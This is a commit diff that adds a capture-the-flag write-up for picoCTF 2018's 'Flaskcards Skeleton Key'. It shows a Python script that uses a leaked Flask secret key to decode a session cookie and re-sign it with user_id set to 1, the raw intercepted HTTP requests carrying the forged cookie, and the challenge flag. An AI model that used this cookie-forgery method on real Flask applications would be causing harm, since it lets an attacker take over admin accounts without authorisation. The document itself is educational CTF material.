Skip to content

Commit 3f6dfd8

Browse files
committed
Finished flaskcards skeleton key writeup
1 parent 898acfd commit 3f6dfd8

File tree

5 files changed

+160
-1
lines changed

5 files changed

+160
-1
lines changed

Diff for: README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ Aca-Shell-A | General Skills | 150 |
2020
[The Vault](/web_exploitation/the_vault.md) | Web Exploitation | 250 |
2121
[Artisinal Handcrafted HTTP 3](/web_exploitation/Artisinal_http_req.md) | Web Exploitation | 300 |
2222
[Flaskcards](/web_exploitation/flaskcards.md) | Web Exploitation | 350 |
23-
Flaskcards Skeleton Key | Web Exploitation | 600 |
23+
[Flaskcards Skeleton Key](/web_exploitation/flaskcards_skeleton_key.md) | Web Exploitation | 600 |
2424
[Help Me Reset 2](/web_exploitation/help_me_reset.md) | Web Exploitation | 600 |
2525
A Simple Question | Web Exploitation | 650 |
2626

Diff for: screenshots/fcs_0.png

16.5 KB
Loading

Diff for: screenshots/fcs_1.png

18.7 KB
Loading

Diff for: screenshots/fcs_2.png

21.1 KB
Loading

Diff for: web_exploitation/flaskcards_skeleton_key.md

+159
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,159 @@
1+
# Flaskcards Skeleton Key - 600 points
2+
3+
Nice! You found out they were sending the `Secret_key: a155eb4e1743baef085ff6ecfed943f2`. Now, can you find a way to log in as admin? [link](http://2018shell1.picoctf.com:53588).
4+
5+
Hint: What can you do with a flask Secret_Key?
6+
7+
### Solution
8+
###### Writeup by asinggih
9+
10+
This particular challenge seems to be a continuation of the previous [Flaskcards](./flaskcards) challenge. Now that we have the Flask's `Secret_key`, what can we do with it? There is an admin tab after we're logged in as a general user. However, it says that we're not an admin and there's nothing to see there.
11+
12+
<p align="center">
13+
<img src="../screenshots/fcs_1.png">
14+
</p>
15+
16+
In order to login as an admin, first, I created a new flash card, while intercepting the request by using burpsuite.
17+
18+
<p align="center">
19+
<img src="../screenshots/fcs_0.png">
20+
</p>
21+
22+
23+
```sh
24+
POST /create_card HTTP/1.1
25+
Host: 2018shell1.picoctf.com:53588
26+
Content-Length: 152
27+
Cache-Control: max-age=0
28+
Origin: http://2018shell1.picoctf.com:53588
29+
Upgrade-Insecure-Requests: 1
30+
Content-Type: application/x-www-form-urlencoded
31+
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
32+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
33+
Referer: http://2018shell1.picoctf.com:53588/create_card
34+
Accept-Encoding: gzip, deflate
35+
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
36+
Cookie: session=.eJwlj0uOAjEMBe-SNQvbcZyEy7Tin0BIIHXDajR3pyV2b1Olen9lyz2OW7m-909cynb3ci29V-hNx5yESu4GlGKh07uiZOTEBu1cvJIAMaiqoTVUHqqyMgVNOhuxNPGFVJlzKDBXnUJhrXcwPLVrSOvTAB3noKBgl1UuxY49t_frEc-zZwYjuocCgDdvwRpBTpzOLFqTiIlknNzniP13gqD8fwGlST6Z.DtjnWg.Sk7WxgzkWREY4N5ZLkHacHt47VU
37+
Connection: close
38+
39+
csrf_token=IjllNDExZGRlYjAwMGQ1ZDVlNGJlZTJkMjRmZDQ0NmIzZjIyNDIyNjgi.DtjnXg.0UCAew6DkHVlw9J_WLIq-_QuwVg&question=How+are+you%3F&answer=good&submit=Create
40+
```
41+
42+
We can see inside the intercepted http request that we have been assigned a session cookie by the server, and it's always interesting to see what's inside a session cookie. I tried to decode the session cookie using a base64 decoder, but it gave me a gibberish text. So i googled on how to decode a flask session, and do a bit of readings on Flask's method in creating the session cookies, I came across this [gist](https://gist.github.com/aescalana/7e0bc39b95baa334074707f73bc64bfe), which helped me to decode the particular user's session cookie. I only did some modifications to fit my python environment and the challenge.
43+
44+
```python
45+
#!/usr/bin/env python3
46+
#
47+
# Snippet was originally written by github.com/aescalana
48+
# https://gist.github.com/aescalana/7e0bc39b95baa334074707f73bc64bfe
49+
#
50+
# Some modifications were added to fit my python environment and the particular challenge
51+
#
52+
53+
import hashlib
54+
from flask.sessions import SecureCookieSessionInterface
55+
from itsdangerous import URLSafeTimedSerializer
56+
57+
class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
58+
# Override method
59+
# Take secret_key instead of an instance of a Flask app
60+
def get_signing_serializer(self, secret_key):
61+
if not secret_key:
62+
return None
63+
signer_kwargs = dict(
64+
key_derivation='hmac',
65+
digest_method = hashlib.sha1
66+
)
67+
return URLSafeTimedSerializer(secret_key, salt='cookie-session',
68+
serializer=self.serializer,
69+
signer_kwargs=signer_kwargs)
70+
71+
def decodeFlaskCookie(secret_key, cookieValue):
72+
sscsi = SimpleSecureCookieSessionInterface()
73+
signingSerializer = sscsi.get_signing_serializer(secret_key)
74+
return signingSerializer.loads(cookieValue)
75+
76+
# Keep in mind that flask uses unicode strings for the
77+
# dictionary keys
78+
def encodeFlaskCookie(secret_key, cookieDict):
79+
sscsi = SimpleSecureCookieSessionInterface()
80+
signingSerializer = sscsi.get_signing_serializer(secret_key)
81+
return signingSerializer.dumps(cookieDict)
82+
83+
if __name__=='__main__':
84+
sk = 'a155eb4e1743baef085ff6ecfed943f2'
85+
cookie = ".eJwlj0uOAjEMBe-SNQvbcZyEy7Tin0BIIHXDajR3pyV2b1Olen9lyz2OW7m-909cynb3ci29V-hNx5yESu4GlGKh07uiZOTEBu1cvJIAMaiqoTVUHqqyMgVNOhuxNPGFVJlzKDBXnUJhrXcwPLVrSOvTAB3noKBgl1UuxY49t_frEc-zZwYjuocCg"
86+
decodedDict = decodeFlaskCookie(sk, cookie)
87+
print(decodedDict)
88+
89+
# cookie = encodeFlaskCookie(sk, sessionDict)
90+
91+
```
92+
93+
The code above spits out the decoded session cookie!
94+
95+
```
96+
{
97+
'_fresh': True,
98+
'_id': '773075b89921b2ddc02f6ceb9d7b16fef9150516f4af2011e23bc1c51b48bb6aff61c674c24656da12344f8b0443b962ec5770c102fa86579c01d1982e2e4d6a',
99+
'csrf_token': '9e411ddeb000d5d5e4bee2d24fd446b3f2242268',
100+
'user_id': '20'
101+
}
102+
```
103+
104+
Looking at the decoded session, it can be seen that the `'user_id'` key seems to be quite important. According to this number, it is possible that the app generates the `user_id` sequentially. Moreover, it is also quite logical to think that an admin user / superuser should have a lower `user_id` number than my current user, since it should've been the first user to be created when creating this app. Therefore, I tried to modified the `user_id` into `0`, encoded back to its encoded form, and used it as the new session. Didn't work. Hence, i tried `1` as the `user_id`.
105+
106+
```python
107+
# a continuation from the previous python code
108+
...
109+
return signingSerializer.dumps(cookieDict)
110+
111+
if __name__=='__main__':
112+
sk = 'a155eb4e1743baef085ff6ecfed943f2'
113+
...
114+
...
115+
modified_session = {
116+
'_fresh': True,
117+
'_id': '773075b89921b2ddc02f6ceb9d7b16fef9150516f4af2011e23bc1c51b48bb6aff61c674c24656da12344f8b0443b962ec5770c102fa86579c01d1982e2e4d6a',
118+
'csrf_token': '9e411ddeb000d5d5e4bee2d24fd446b3f2242268',
119+
'user_id': '1'
120+
}
121+
122+
sessionDict = encodeFlaskCookie(sk, modified_session)
123+
print(sessionDict)
124+
125+
```
126+
127+
The print out of `sessionDict` can then be injected to the server by modifying the `session=.....` part of the previously intercepted http request when creating the flashcard.
128+
129+
```txt
130+
131+
POST /create_card HTTP/1.1
132+
Host: 2018shell1.picoctf.com:53588
133+
Content-Length: 152
134+
Cache-Control: max-age=0
135+
Origin: http://2018shell1.picoctf.com:53588
136+
Upgrade-Insecure-Requests: 1
137+
Content-Type: application/x-www-form-urlencoded
138+
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
139+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
140+
Referer: http://2018shell1.picoctf.com:53588/create_card
141+
Accept-Encoding: gzip, deflate
142+
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
143+
Cookie: session=.eJwlj0uOAjEMBe-SNQvbcZyEy7Tin0BIIHXDajR3pyV2b1Olen9lyz2OW7m-909cynb3ci29V-hNx5yESu4GlGKh07uiZOTEBu1cvJIAMaiqoTVUHqqyMgVNOhuxNPGFVJlzKDBXnUJhrXcwPLVrSOvTAB3noKBgl1UuxY49t_frEc-zZwYjuocCgDdvwRpBTpzOLFqTiIlknNzniP13Asv_F2bsPmg.Dtj9xw.5K02CDzdrQET95f_qpME7gh9mS8
144+
Connection: close
145+
146+
csrf_token=IjllNDExZGRlYjAwMGQ1ZDVlNGJlZTJkMjRmZDQ0NmIzZjIyNDIyNjgi.DtjnXg.0UCAew6DkHVlw9J_WLIq-_QuwVg&question=How+are+you%3F&answer=good&submit=Create
147+
148+
```
149+
150+
After forwarding the request, and created the card, I tried to visit the admin page again, and voila!
151+
152+
<p align="center">
153+
<img src="../screenshots/fcs_2.png">
154+
</p>
155+
156+
157+
## Flag
158+
>Your flag is: picoCTF{1_id_to_rule_them_all_8f9d57f1}
159+

0 commit comments

Comments
 (0)